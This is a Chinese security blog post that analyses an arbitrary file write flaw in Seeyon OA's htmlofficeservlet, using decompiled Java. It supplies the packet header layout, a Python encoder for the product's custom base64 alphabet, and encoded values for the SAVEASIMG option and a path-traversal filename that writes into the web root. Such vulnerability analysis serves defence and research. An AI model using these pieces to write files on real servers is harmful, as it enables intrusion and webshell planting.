前言
之前写的文章了,一开始发到了其他地方,想了想还是copy一份到博客里增加点数量。
前段时间致远oa爆出了任意文件写入漏洞, 当时广为流传的poc中数据包一些参数值被编码, 最初由于不知道加密方式编写poc不太方便,在拿到了致远oa的源码后对该漏洞进行了分析并编写poc。
漏洞分析
漏洞本身是一个很简单的漏洞,但是因为加密的原因稍微使利用麻烦了一点。
漏洞出现在 \WEB-INF\lib\seeyon-apps-common.jar!\com\seeyon\ctp\common\office\HtmlOfficeServlet.class,该类为一个Servlet。
1 2 3 4 5 6 7 8 9 10 11
| <servlet-mapping> <servlet-name>htmlofficeservlet</servlet-name> <url-pattern>/htmlofficeservlet</url-pattern> </servlet-mapping>
<servlet> <servlet-name>htmlofficeservlet</servlet-name> <servlet-class> com.seeyon.ctp.common.office.HtmlOfficeServlet </servlet-class> </servlet>
|
在web.xml中, 将/htmlofficeservlet映射到了该Servlet。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class HtmlOfficeServlet extends HttpServlet { .............................. public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { AppContext.initSystemEnvironmentContext(request, response); HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager"); HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager)AppContext.getBeanWithoutCache("htmlHandWriteManager"); iMsgServer2000 msgObj = new iMsgServer2000();
try { handWriteManager.readVariant(request, msgObj); if (AppContext.currentUserId() == -1L) { User user = handWriteManager.getCurrentUser(msgObj); AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", user); }
msgObj.SetMsgByName("CLIENTIP", Strings.getRemoteAddr(request)); String option = msgObj.GetMsgByName("OPTION"); if ("LOADFILE".equalsIgnoreCase(option)) { handWriteManager.LoadFile(msgObj); ................................................. else if ("SAVEASIMG".equalsIgnoreCase(option)) { String fileName = msgObj.GetMsgByName("FILENAME"); String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath(); String tempPath = tempFolder + "/base/upload/taohongTemp"; File folder = new File(tempPath); if (!folder.exists()) { folder.mkdir(); }
msgObj.MsgFileSave(tempPath + "/" + fileName); }
|
在该Servlet中, 存在一个SAVEASIMG操作, 从msgObj中获取到FILENAME后与tempPath拼接成最终保存路径,传递给MsgFileSave方法。
1 2 3 4 5 6 7 8 9 10 11 12
| public boolean MsgFileSave(String var1) { try { FileOutputStream var2 = new FileOutputStream(var1); var2.write(this.FMsgFile); var2.close(); return true; } catch (Exception var3) { this.FError = this.FError + var3.toString(); System.out.println(var3.toString()); return false; } }
|
在MsgFileSave方法当中, 直接使用拼接的路径与this.FMsgFile实现了文件保存。所以只要能够控制option、fileName和this.FMsgFile即可实现任意文件保存。这三个变量均来自iMsgServer2000实例对象, 在DBStep.jar包中能够找到iMsgServer2000类的代码。iMsgServer2000实例对象由handWriteManager.readVariant方法处理用户发送的request生成。
1 2 3 4 5 6 7 8 9 10 11 12
| public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) { msgObj.ReadPackage(request); this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID")); this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE")); String _originalFileId = msgObj.GetMsgByName("originalFileId"); this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim()); this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile")); if (this.needClone) { String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate"); this.originalFileId = Long.valueOf(_originalFileId); this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate); }
|
接着调用iMsgServer2000#ReadPackage生成msgObj对象, 在生成msgObj对象后从该对象获取参数值, 可以看出msgObj中必须含有RECORDID、CREATEDATE参数并且需要符合它的数据类型, 在获取到参数值后有进行类型转换等操作, 如果获取不到参数值或获取到的参数值与相应的数据类型不匹配, 那么在进行类型转换时会出现异常进而退出流程。这两个参数值和最终的漏洞利用并无关系, 只是为了避免异常而必须设置, 在该方法中可以看到还获取了一些其他的参数值, 不过其他的就算不设置也不会发生异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public byte[] ReadPackage(HttpServletRequest var1) { int var2 = 0; boolean var3 = false; boolean var4 = false; this.Charset = var1.getCharacterEncoding(); if (this.Charset == null) { this.Charset = var1.getHeader("charset"); }
if (this.Charset == null) { this.Charset = "GB2312"; }
try { int var8 = var1.getContentLength();
int var7; for(this.FStream = new byte[var8]; var2 < var8; var2 += var7) { var1.getInputStream(); var7 = var1.getInputStream().read(this.FStream, var2, var8 - var2); }
if (this.FError == "") { this.StreamToMsg(); }
|
该方法中, 首先获取request中的Content-Length, 然后从request body中获取对应Content-Length字节数的内容保存到this.FStream中, 接着继续调用当前类中的StreamToMsg方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| private boolean StreamToMsg() { byte var2 = 64; boolean var3 = false; boolean var4 = false; boolean var5 = false; boolean var6 = false; String var7 = ""; String var8 = ""; this.FMd5Error = false;
try { byte var14 = 0; String var1 = new String(this.FStream, var14, var2); this.FVersion = var1.substring(0, 15); int var11 = Integer.parseInt(var1.substring(16, 31).trim()); int var12 = Integer.parseInt(var1.substring(32, 47).trim()); int var13 = Integer.parseInt(var1.substring(48, 63).trim()); this.FFileSize = var13; int var15 = var14 + var2; if (var11 > 0) { this.FMsgText = new String(this.FStream, var15, var11); }
var15 += var11; if (var12 > 0) { this.FError = new String(this.FStream, var15, var12); }
var15 += var12; this.FMsgFile = new byte[var13]; if (var13 > 0) { for(int var9 = 0; var9 < var13; ++var9) { this.FMsgFile[var9] = this.FStream[var9 + var15]; }
var15 += var13; if (this.FStream.length >= var15 + 32) { var7 = new String(this.FStream, var15, 32); var8 = this.MD5Stream(this.FMsgFile); if (var7.compareToIgnoreCase(var8) != 0) { this.SetMsgByName("DBSTEP", "ERROR"); this.FMd5Error = true; } else { this.FMd5Error = false; } } }
|
在该方法中获取流的前64字节保存到var1中, 前64字节类似报文头,前16字节为版本信息,16-31字节为FMsgText的大小(option、filename变量都是从FMsgText中获取),32到47字节为错误信息的大小 直接定义为0, 48到63字节为FMsgFile的大小。如果流中48到64字节转整后的内容(即var13变量)大于0, 那么会从 var15字节后开始读取内容保存到FMsgFile成员属性中, 从上面代码中可以看出var15 = var14 + var2 + var11 + var12 即跳过报文头和FMsgText,然后获取var13(即48到63字节内容转整)个字节保存到FMsgFile属性当中。
在获取到FMsgFile后, 后面有类似校验签名的一段代码, 校验的是FMsgFile内容的md5值是否与FMsgFile后32字节内容相等, 流传的poc中在最后也带了一段md5,不过可以看出如果整个流的长度如果不大于var15 + 32 (即FMsgFile后的内容不超过32字节)就不会进入该逻辑。不过就算进入该逻辑且签名错了也没有影响, 在其他操作的地方并没有管这签名的正确性。
option、fileName变量都是通过调用iMsgServer2000类的GetMsgByName方法获取参数值,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public String GetMsgByName(String var1) { boolean var2 = false; boolean var3 = false; String var4 = ""; String var6 = var1.trim().concat("="); int var7 = this.FMsgText.indexOf(var6); if (var7 != -1) { int var8 = this.FMsgText.indexOf("\r\n", var7 + 1); var7 += var6.length(); if (var8 != -1) { String var5 = this.FMsgText.substring(var7, var8); var4 = this.DecodeBase64(var5); return var4; } else { return var4; } } else { return var4; } }
|
GetMsgByName方法当中, 从FMsgText属性值中获取参数值, 获取到参数值为”=”与”\r\n”之间的内容, 获取到参数值后会调用当前对象的DecodeBase64方法进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| public String DecodeBase64(String var1) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); String var3 = ""; byte[] var8 = new byte[4];
try { int var5 = 0; byte[] var7 = var1.getBytes();
while(var5 < var7.length) { for(int var4 = 0; var4 <= 3; ++var4) { if (var5 >= var7.length) { var8[var4] = 64; } else { int var6 = this.TableBase64.indexOf(var7[var5]); if (var6 < 0) { var6 = 65; }
var8[var4] = (byte)var6; }
++var5; }
var2.write((byte)(((var8[0] & 63) << 2) + ((var8[1] & 48) >> 4))); if (var8[2] != 64) { var2.write((byte)(((var8[1] & 15) << 4) + ((var8[2] & 60) >> 2))); if (var8[3] != 64) { var2.write((byte)(((var8[2] & 3) << 6) + (var8[3] & 63))); } } } } catch (StringIndexOutOfBoundsException var11) { this.FError = this.FError + var11.toString(); System.out.println(var11.toString()); }
try { var3 = var2.toString(this.Charset); } catch (UnsupportedEncodingException var10) { System.out.println(var10.toString()); }
return var3; }
|
DecodeBase64方法是原始base64decode方法的变异, 从EncodeBase64方法当中可以看出其实就是映射了一个转换表, 对应的转换表如下
1 2
| private String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6"; private String TableBase60 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
|
写个脚本实现该转换表即可加解密。
1 2 3 4 5 6 7 8 9 10 11 12 13
| import string import base64
STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' CUSTOM_ALPHABET = 'gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6'
def encode(input): ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET) return base64.b64encode(input).translate(ENCODE_TRANS)
def decode(input): DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET) return base64.b64decode(input.translate(DECODE_TRANS))
|
Python3.4 已经没有 string.maketrans() 方法, 所以3.4及后续版本需要稍微修改下代码。
1 2 3
| def encode(input): ENCODE_TRANS = input.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET) return str(base64.b64encode(input.encode("utf-8"))).translate(ENCODE_TRANS)
|
首先需要使option的参数值为SAVEASIMG才能进入保存文件逻辑, 加密后为S3WYOSWLBSGr。保存路径是由tempPath和fileName组成。
1 2 3 4
| String fileName = msgObj.GetMsgByName("FILENAME"); String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath(); String tempPath = tempFolder + "/base/upload/taohongTemp"; File folder = new File(tempPath);
|
tempFolder中进行了两次目录穿越, 应该是为了防止用户把文件写入到web目录当中, 不过因为fileName完全未过滤可以按照默认配置补全路径最终实现保存文件到web目录当中。所以这里首先需要目录穿越出/base/upload/taohongTemp三层目录, 然后按照默认配置补全路径, 使fileName为..\..\..\ApacheJetspeed\webapps\seeyon\abcd.txt
, 编码得到qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeYMUy7T3brV6, 在算字节长度时, 需要算上\r\n。